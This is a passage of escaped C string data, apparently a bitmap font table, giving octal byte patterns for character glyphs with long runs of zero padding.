\"\\300\\0\\0\\0\\0\\77\\300\\200\\0\\0\\0\\0\\0\\0\\0\\200\\300\\77\\0\\0\\0\\0\\0\\1\\11\\12\\6\\16\\12\\12\\11\\5\"\n  \"\\4\\0\\0\\0\\0\\20\\20\\360\\20\\20\\20\\20\\20\\20 \\300\\0\\0\\0\\0\\0\\0\\0\\377\\10\\10\\10\\10\\30(\\304\\3\"\n  \"\\0\\0\\0\\0\\0\\2\\2\\3\\2\\2\\0\\0\\0\\0\\0\\3\\2\\2\\0\\0\\0\\0\\300  \\20\\20\\20\\20 @\\360\"\n  \"\\0\\0\\0\\0\\0\\0\\301\\202\\2\\4\\4\\4\\4\\10\\10\\360\\0\\0\\0\\0\\0\\0\\3\\0\\1\\2\\2\\2\\2\\2\\1\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\360\\20\\20\\20\\20\\360\\20\\20\\20\\20\\360\\0\\0\\0\\0\\0\\1\\0\\0\\0\\0\\377\\0\\0\\0\\0\"\n  \"\\1\\0\\0\\0\\0\\0\\0\\0\\2\\2\\2\\3\\2\\2\\2\\0\\0\\0\\0\\0\\0\\20\\360\\20\\20\\20\\0\\0\\20\\20\\20\\360\"\n  \"\\20\\0\\0\\0\\0\\0\\377\\0\\0\\0\\0\\0\\0\\0\\0\\377\\0\\0\\0\\0\\0\\0\\0\\1\\2\\2\\2\\2\\2\\2\\1\\0\"\n  \"\\0\\0\\0\\0\\0\\20p\\220\\20\\20\\0\\0\\0\\20\\20\\220p\\20\\0\\0\\0\\0\\0\\1\\16p\\200\\0\\200p\\16\\1\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\1\\3\\1\\0\\0\\0\\0\\0\\0\\0\\0\\20\\360\\20\\20\\20\\0\\200\\0\\20\\20\\20\"\n  \"\\360\\20\\0\\0\\0\\0\\7\\370\\200p\\16\\1\\16p\\200\\370\\7\\0\\0\\0\\0\\0\\0\\3\\3\\0\\0\\0\\0\\0\\3\\3\"\n  \"\\0\\0\\0\\0\\0\\20\\20\\60\\320\\20\\0\\0\\0\\20\\320\\60\\20\\20\\0\\0\\0\\0\\0\\200@\\61\\12\\4\\12\\61@\\200\"\n  \"\\0\\0\\0\\0\\0\\2\\2\\3\\2\\2\\0\\0\\0\\2\\2\\3\\2\\2\\0\\0\\0\\20\\20\\60\\320\\0\\0\\0\\0\\0\\320\\60\"\n  \"\\20\\20\\0\\0\\0\\0\\0\\0\\0\\3\\4\\370\\4\\3\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\2\\2\\2\\3\\2\\2\\2\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\360\\20\\20\\20\\20\\20\\20\\220P\\60\\0\\0\\0\\0\\0\\0\\1\\200@\\60\\10\\4\\3\\0\\0\\340\"\n  \"\\0\\0\\0\\0\\0\\0\\3\\2\\2\\2\\2\\2\\2\\2\\2\\3\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\374\\4\\4\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\377\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\37\\20\\20\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\14\\60\\300\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\3\\14\\60\\300\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\3\\14\\0\\0\\0\\0\\0\\0\\0\\0\\0\\4\\4\\374\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\377\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\20\\20\\37\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0@ \\20\\10\\14\\10\\20 @\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0@@@@@@@@@@@@\"\n  \"@@@\\0\\0\\0\\0\\0\\4\\14\\30\\60 \\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\200\\200\\200\\200\\200\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\340\\21\\10\\10\\10\\10\\10\\21\\376\\0\\0\\0\\0\\0\\0\\0\\0\\1\\2\\2\\2\\2\\2\\1\\3\\2\"\n  \"\\2\\0\\0\\0\\0\\10\\10\\370\\0\\0\\200\\200\\200\\200\\200\\0\\0\\0\\0\\0\\0\\0\\0\\377\\202\\1\\0\\0\\0\\0\\0\\1\"\n  \"\\203|\\0\\0\\0\\2\\2\\3\\0\\1\\2\\2\\2\\2\\2\\1\\1\\0\\0\\0\\0\\0\\0\\0\\0\\200\\200\\200\\200\\200\\0\\200\"\n  \"\\0\\0\\0\\0\\0\\0|\\203\\1\\0\\0\\0\\0\\0\\1\\207\\200\\0\\0\\0\\0\\0\\0\\1\\1\\2\\2\\2\\2\\2\\1\\1\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\200\\200\\200\\200\\200\\10\\10\\370\\0\\0\\0\\0\\0|\\203\\1\\0\\0\\0\\0\\0\\1\\202\\377\"\n  \"\\0\\0\\0\\0\\0\\0\\1\\1\\2\\2\\2\\2\\2\\1\\0\\3\\2\\2\\0\\0\\0\\0\\0\\0\\0\\200\\200\\200\\200\\200\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0|\\223\\21\\20\\20\\20\\20\\20\\21\\23\\34\\0\\0\\0\\0\\0\\0\\1\\1\\2\\2\\2\\2\\2\\2\\1\"\n  \"\\1\\0\\0\\0\\0\\0\\0\\200\\200\\200\\360\\230\\210\\210\\210\\210\\20\\0\\0\\0\\0\\0\\0\\0\\0\\0\\377\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\2\\2\\2\\3\\2\\2\\2\\2\\2\\0\\0\\0\\0\\0\\0\\0\\0\\200\\200\\200\\200\\200\\0\\0\\200\"\n  \"\\200\\200\\0\\0\\0|\\203\\1\\0\\0\\0\\0\\0\\1\\202\\377\\0\\0\\0\\0\\0\\0\\1ABBBBB!\\60\\17\"\n  \"\\0\\0\\0\\0\\0\\10\\10\\370\\0\\0\\200\\200\\200\\200\\0\\0\\0\\0\\0\\0\\0\\0\\0\\377\\2\\1\\0\\0\\0\\0\\1\\376\"\n  \"\\0\\0\\0\\0\\0\\2\\2\\3\\2\\2\\0\\0\\0\\2\\2\\3\\2\\2\\0\\0\\0\\0\\0\\0\\200\\200\\200\\234\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\377\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\2\\2\\2\\2\\3\\2\\2\\2\\2\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\200\\200\\200\\200\\200\\200\\234\\200\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\377\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0@@@@@ \\60\\17\\0\\0\\0\\0\\0\\0\\0\\10\\10\\370\\0\\0\\0\\200\\200\\200\\200\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\377\\20\\30$B\\201\\0\\0\\0\\0\\0\\0\\0\\0\\2\\2\\3\\0\\0\\0\\0\\2\\3\\2\"\n  \"\\2\\0\\0\\0\\0\\0\\0\\10\\10\\10\\10\\370\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\377\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\2\\2\\2\\2\\2\\3\\2\\2\\2\\2\\2\\0\\0\\0\\200\\200\\200\\0\\200\\200\\200\\0\\0\\200\\200\\200\"\n  \"\\0\\0\\0\\0\\0\\0\\377\\1\\0\\0\\0\\377\\1\\0\\0\\0\\377\\0\\0\\0\\2\\2\\3\\2\\2\\0\\0\\3\\2\\0\\0\\0\"\n  \"\\3\\2\\0\\0\\0\\200\\200\\200\\0\\0\\200\\200\\200\\200\\0\\0\\0\\0\\0\\0\\0\\0\\0\\377\\2\\1\\0\\0\\0\\0\\1\\376\"\n  \"\\0\\0\\0\\0\\0\\2\\2\\3\\2\\2\\0\\0\\0\\2\\2\\3\\2\\2\\0\\0\\0\\0\\0\\0\\0\\200\\200\\200\\200\\200\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0|\\203\\1\\0\\0\\0\\0\\0\\1\\203|\\0\\0\\0\\0\\0\\0\\1\\1\\2\\2\\2\\2\\2\\1\\1\"\n  \"\\0\\0\\0\\0\\0\\200\\200\\200\\0\\0\\200\\200\\200\\200\\200\\0\\0\\0\\0\\0\\0\\0\\0\\377\\202\\1\\0\\0\\0\\0\\0\\1\"\n  \"\\203|\\0\\0\\0@@\\177@AB\\2\\2\\2\\2\\1\\1\\0\\0\\0\\0\\0\\0\\0\\200\\200\\200\\200\\200\\0\\0\\200\"\n  \"\\200\\200\\0\\0\\0|\\203\\1\\0\\0\\0\\0\\0\\1\\202\\377\\0\\0\\0\\0\\0\\0\\1\\1\\2\\2\\2\\2BA@\\177\"\n  \"@@\\0\\0\\0\\0\\0\\200\\200\\200\\0\\0\\0\\200\\200\\200\\0\\0\\0\\0\\0\\0\\0\\0\\0\\377\\2\\1\\1\\0\\0\\0\"\n  \"\\1\\0\\0\\0\\0\\0\\2\\2\\2\\3\\2\\2\\2\\2\\2\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\200\\200\\200\\200\\200\\0\\200\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\200\\7\\10\\10\\10\\20\\20\\21\\343\\0\\0\\0\\0\\0\\0\\0\\3\\1\\2\\2\\2\\2\\2\\1\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\200\\200\\370\\200\\200\\200\\200\\200\\200\\0\\0\\0\\0\\0\\0\\0\\0\\0\\377\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\1\\2\\2\\2\\2\\1\\1\\0\\0\\0\\0\\0\\200\\200\\200\\0\\0\\0\\0\\0\\200\\200\\200\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\377\\0\\0\\0\\0\\0\\0\\200\\377\\0\\0\\0\\0\\0\\0\\0\\0\\1\\2\\2\\2\\2\\1\\0\\3\"\n  \"\\2\\0\\0\\0\\0\\200\\200\\200\\200\\200\\0\\0\\0\\200\\200\\200\\200\\200\\0\\0\\0\\0\\0\\3\\34`\\200\\0\\200`\\34\\3\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\1\\3\\1\\0\\0\\0\\0\\0\\0\\0\\0\\200\\200\\200\\200\\0\\0\\0\\0\\0\\200\\200\"\n  \"\\200\\200\\0\\0\\0\\0\\7x\\200\\0\\360\\14\\360\\0\\200x\\7\\0\\0\\0\\0\\0\\0\\0\\3\\3\\0\\0\\0\\3\\3\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\200\\200\\200\\200\\0\\0\\0\\200\\200\\200\\200\\0\\0\\0\\0\\0\\0\\1\\202D(\\20(D\\202\\1\"\n  \"\\0\\0\\0\\0\\0\\0\\2\\3\\2\\2\\0\\0\\0\\2\\2\\3\\2\\0\\0\\0\\0\\200\\200\\200\\200\\0\\0\\0\\0\\200\\200\\200\"\n  \"\\200\\0\\0\\0\\0\\0\\3\\34`\\200\\0\\0\\300\\60\\14\\3\\0\\0\\0\\0\\0@@@@qNC\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\200\\200\\200\\200\\200\\200\\200\\200\\200\\0\\0\\0\\0\\0\\0\\0\\3\\200@ \\20\\10\\4\\2\\201\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\3\\2\\2\\2\\2\\2\\2\\2\\3\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\370\\4\\4\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\10\\10\\367\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\17\\20\\20\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\360\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\377\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\37\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\4\\4\\370\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\367\\10\\10\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\20\\20\\17\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\10\\14\\6\\2\\2\\6\\14\\10\\10\\14\\6\"\n  \"\\2\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\200\\200\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\361\\201\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\177\\177\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\200\\200@|@\\200\\300\\0\\0\\0\\0\\0\\0\\0\\0\\16\\61 @\\300@ !\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\3\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\300 \\20\\20\\20  \\0\"\n  \"\\0\\0\\0\\0\\0\\0\\4\\4\\207|\\4\\4\\4\\0\\0\\200\\0\\0\\0\\0\\0\\0\\2\\3\\2\\2\\2\\2\\2\\2\\2\\1\"\n  \"\\0\\0\\0\\0\\0\\0@\\200\\0\\200\\200\\200\\200\\0\\200@\\0\\0\\0\\0\\0\\0\\200^!@@@@!^\\200\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\20\\60\\320\\20\\0\\0\\0\\20\\320\\60\"\n  \"\\20\\0\\0\\0\\0\\0\\0HHKL\\370LKHH\\0\\0\\0\\0\\0\\0\\0\\0\\2\\2\\2\\3\\2\\2\\2\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\374\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\343\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\37\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\200\\360\\210\\4\\4\\4\\4\\4<\"\n  \"\\0\\0\\0\\0\\0\\0\\3\\4\\10\\20!!B\\304H\\60\\0\\0\\0\\0\\0\\0\\17\\10\\10\\10\\10\\10\\4\\3\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\60\\60\\0\\0\\0\\60\\60\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\300  \\20\\220\\220\\20\\220  \"\n  \"\\300\\0\\0\\0\\0\\37`\\200\\216\\21  !\\23\\200\\200`\\37\\0\\0\\0\\0\\0\\0\\0\\1\\1\\1\\1\\1\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0 \\220PPP\\340\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\23\\24\\24\\24\\22\\27\\24\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\200\\200\\0\\0\\0\\200\"\n  \"\\200\\0\\0\\0\\0\\20\\70l\\306\\203\\21\\70l\\306\\203\\1\\0\\0\\0\\0\\0\\0\\0\\0\\0\\1\\3\\2\\0\\0\\1\\3\"\n  \"\\2\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\2\\2\\2\\2\\2\\2\\2\\2\\2\\2\"\n  \"\\36\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\4\\4\\4\\4\\4\\4\\4\\4\\4\\4\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\300  \\220\\220\\220\\220\\20  \\300\\0\\0\\0\\0\\37`\\200\\200\\77\\4\\4\\14\\63\\200\\200\"\n  \"`\\37\\0\\0\\0\\0\\0\\0\\0\\1\\1\\1\\1\\1\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0       \\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0p\\210\\4\\4\\4\\210p\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\1\\1\\1\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\360\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\2\\2\\2\\2\\2\\177\\2\\2\\2\\2\\2\\0\\0\\0\\0\\0\\1\\1\\1\\1\\1\\1\\1\\1\\1\\1\"\n  \"\\1\\0\\0\\0\\0\\0\\0\\0\\20\\10\\4\\204D\\70\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\4\\6\\5\\4\\4\\6\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\10\\4DDd\\230\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\2\\4\\4\\4\\4\\3\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0 